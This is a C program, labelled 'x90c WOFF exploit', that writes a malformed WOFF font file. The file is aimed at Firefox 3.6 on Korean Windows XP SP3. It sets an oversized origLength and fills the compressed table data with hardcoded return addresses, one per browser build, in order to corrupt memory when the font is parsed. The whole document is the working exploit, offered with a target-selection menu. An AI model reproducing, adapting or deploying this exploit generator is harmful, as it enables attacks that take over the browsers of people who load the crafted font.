#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>
typedef unsigned int UInt32;
typedef unsigned short UInt16;
typedef struct
{
UInt32 signature;
UInt32 flavor;
UInt32 length;
UInt16 numTables;
UInt16 reserved;
UInt32 totalSfntSize;
UInt16 majorVersion;
UInt16 minorVersion;
UInt32 metaOffset;
UInt32 metaLength;
UInt32 metaOrigLength;
UInt32 privOffset;
UInt32 privLength;
} WOFF_HEADER;
typedef struct
{
UInt32 tag;
UInt32 offset;
UInt32 compLength;
UInt32 origLength;
UInt32 origChecksum;
} WOFF_DIRECTORY;
#define FLAVOR_TRUETYPE_FONT 0x0001000
#define FLAVOR_CFF_FONT 0x4F54544F
struct ff_version
{
int num;
char *v_nm;
unsigned long addr;
};
struct ff_version plat[] =
{
{
0, "Win XP SP3 ko - FF 3.6" , 0x004E18ED
},
{
1, "Win XP SP3 ko - FF 3.6 Beta1" , 0x004E17BD
},
{
2, "Win XP SP3 ko - FF 3.6 Beta3" , 0x004E193D
},
{
3, "Win XP SP3 ko - FF 3.6 Beta4" , 0x004E20FD
},
{
4, "Win XP SP3 ko - FF 3.6 Beta5" , 0x600A225D
},
{
5, "Win XP SP3 ko - FF 3.6 RC1" , 0x004E17BD
},
{
6, "Win XP SP3 ko - FF 3.6 RC2" , 0x004E18ED
},
{
0x00, NULL, 0x0
}
};
void usage( char *f_nm)
{
int i = 0;
fprintf(stdout, "\n Usage: %s [Target ID]\n\n" , f_nm);
for (i = 0; plat[i].v_nm != NULL; i++)
fprintf(stdout, "\t{%d} %s. \n" , (plat[i].num), (plat[i].v_nm));
exit(-1);
}
int main( int argc, char *argv[]) {
WOFF_HEADER woff_header;
WOFF_DIRECTORY woff_dir[1];
FILE *fp;
char dataBlock[1024];
char compressed_dataBlock[1024];
char de_buf[1024];
int total_bytes = 0, total_dataBlock = 0;
unsigned long destLen = 1024;
unsigned long de_Len = 1024;
unsigned long i = 0;
unsigned long addr_saved_ret_val = 0;
int ret = 0;
int n = 0;
if (argc < 2)
usage(argv[0]);
n = atoi(argv[1]);
if (n < 0 || n > 6)
{
fprintf(stderr, "\nTarget number range is 0-6!\n" );
usage(argv[0]);
}
printf( "\n#### x90c WOFF exploit ####\n" );
printf( "\nTarget: %d - %s\n\n" , (plat[n].num), (plat[n].v_nm));
woff_header.signature = 0x46464F77;
woff_header.flavor = FLAVOR_TRUETYPE_FONT;
woff_header.length = 0x00000000;
woff_header.numTables = 0x0100;
woff_header.reserved = 0x0000;
woff_header.totalSfntSize = 0x1C000000;
woff_header.majorVersion = 0x0000;
woff_header.minorVersion = 0x0000;
woff_header.metaOffset = 0x00000000;
woff_header.metaLength = 0x00000000;
woff_header.metaOrigLength = 0x00000000;
woff_header.privOffset = 0x00000000;
woff_header.privLength = 0x00000000;
woff_dir[0].tag = 0x54444245;
woff_dir[0].offset = 0x40000000;
woff_dir[0].compLength = 0x00000000;
woff_dir[0].origLength = 0xFFFFFFFF;
printf( "WOFF_HEADER [ %d bytes ]\n" , sizeof (WOFF_HEADER));
printf( "WOFF_DIRECTORY [ %d bytes ]\n" , sizeof (WOFF_DIRECTORY));
addr_saved_ret_val = plat[n].addr;
addr_saved_ret_val += 0x8;
for (i = 0; i < sizeof (dataBlock); i+=4)
{
dataBlock[i+0] = (addr_saved_ret_val & 0x000000ff);
dataBlock[i+1] = (addr_saved_ret_val & 0x0000ff00) >> 8;
dataBlock[i+2] = (addr_saved_ret_val & 0x00ff0000) >> 16;
dataBlock[i+3] = (addr_saved_ret_val & 0xff000000) >> 24;
}
if (compress((Bytef *)compressed_dataBlock,
(uLongf *)&destLen,
(Bytef *)dataBlock,
(uLong)( sizeof (dataBlock))
) != Z_OK)
{
fprintf(stderr, "Zlib compress failed!\n" );
exit(-1);
}
printf( "\nZlib compress(dataBlock) ...\n" );
printf( "DataBlock [ %u bytes ]\n" , sizeof (dataBlock));
printf( "Compressed DataBlock [ %u bytes ]\n" , destLen);
printf( "[ Z_OK ]\n\n" );
total_bytes = sizeof (WOFF_HEADER) +
sizeof (WOFF_DIRECTORY) +
destLen;
total_dataBlock = destLen;
printf( "Total WOFF File Size: %d bytes\n" , total_bytes);
total_bytes =
((total_bytes & 0xff000000) >> 24) |
((total_bytes & 0x00ff0000) >> 8) |
((total_bytes & 0x0000ff00) << 8) |
((total_bytes & 0x000000ff) << 24);
woff_header.length = total_bytes;
total_dataBlock =
((total_dataBlock & 0xff000000) >> 24) |
((total_dataBlock & 0x00ff0000) >> 8) |
((total_dataBlock & 0x0000ff00) << 8) |
((total_dataBlock & 0x000000ff) << 24);
woff_dir[0].compLength = total_dataBlock;
if ((fp = fopen( "s.woff" , "wb" )) < 0)
{
fprintf(stderr, "that file to create open failed\n" );
exit(-2);
}
fwrite(&woff_header, 1, sizeof (woff_header), fp);
fwrite(&woff_dir[0], 1, sizeof (woff_dir[0]), fp);
fwrite(&compressed_dataBlock, 1, destLen, fp);
fclose(fp);
ret = uncompress(de_buf, &de_Len, compressed_dataBlock, destLen);
if (ret != Z_OK)
{
switch (ret)
{
case Z_MEM_ERROR:
printf( "Z_MEM_ERROR\n" );
break ;
case Z_BUF_ERROR:
printf( "Z_BUF_ERROR\n" );
break ;
case Z_DATA_ERROR:
printf( "Z_DATA_ERROR\n" );
break ;
}
fprintf(stderr, "Zlib uncompress test failed!\n" );
unlink( "./s.woff" );
exit(-3);
}
printf( "\nZlib uncompress test(compressed_dataBlock) ...\n" );
printf( "[ Z_OK ]\n\n" );
return 0;
}
|